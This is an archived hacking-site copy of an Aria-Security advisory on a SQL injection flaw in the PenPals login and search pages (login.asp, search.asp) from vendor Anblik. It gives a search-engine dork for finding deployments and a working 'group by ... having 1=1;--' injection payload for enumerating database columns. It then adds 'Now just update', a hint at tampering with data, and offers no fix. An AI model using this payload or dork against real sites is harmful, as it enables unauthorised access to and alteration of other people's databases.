AOH :: HP Unsorted P :: TB13718.HTM

PenPals Login and search page SQL Injection



Aria-Security.Net: PenPals Login and search page SQL Injection
Aria-Security.Net: PenPals Login and search page SQL Injection




---------------------------
Aria-Security Team
http://Aria-Security.Net
----------------------------
Original Advisory @ http://aria-security.net/forum/showthread.php?p=1148
Shout outs to : AurA T_L_O_T_D

http://ankoor.com/ [vendor]
Dork:[Powered By Anblik]

Affected fileS:
search.asp
login.asp

'group by penpal_memberdetails.memid,penpal_memberdetails.approve,penpal_memberdetails.mdoj,penpal_memberdetails.groupid,penpal_memberdetails.group_time_span having 1=1;--

Now just update.

Regards,
The-0utl4w
[credits goes to Aria-Security]

The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH
We do not send spam. If you have received spam bearing an artofhacking.com email address, please forward it with full headers to abuse@artofhacking.com.